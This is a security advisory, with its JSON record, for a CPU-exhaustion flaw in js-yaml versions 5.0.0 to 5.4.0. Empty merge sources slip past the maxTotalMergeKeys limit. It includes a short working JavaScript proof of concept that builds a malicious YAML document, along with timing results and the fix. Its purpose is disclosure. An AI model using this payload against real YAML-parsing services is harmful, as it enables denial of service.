GHSA-R3PH-W7GJ-G6XM
Vulnerability from github – Published: 2026-09-29 17:57 – Updated: 2026-09-29 17:57Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
Observed results:
| N | YAML size | Time |
|---|---|---|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.4.0"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T17:57:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n - \u003c\u003c: *arr # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = 20000\n\nconst src =\n \u0027arr: \u0026arr [\u0027 + \u0027{},\u0027.repeat(n).slice(0, -1) + \u0027]\\n\u0027 +\n \u0027targets:\\n\u0027 +\n \u0027 - \u003c\u003c: *arr\\n\u0027.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.",
"id": "GHSA-r3ph-w7gj-g6xm",
"modified": "2026-09-29T17:57:39Z",
"published": "2026-09-29T17:57:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/releases/tag/5.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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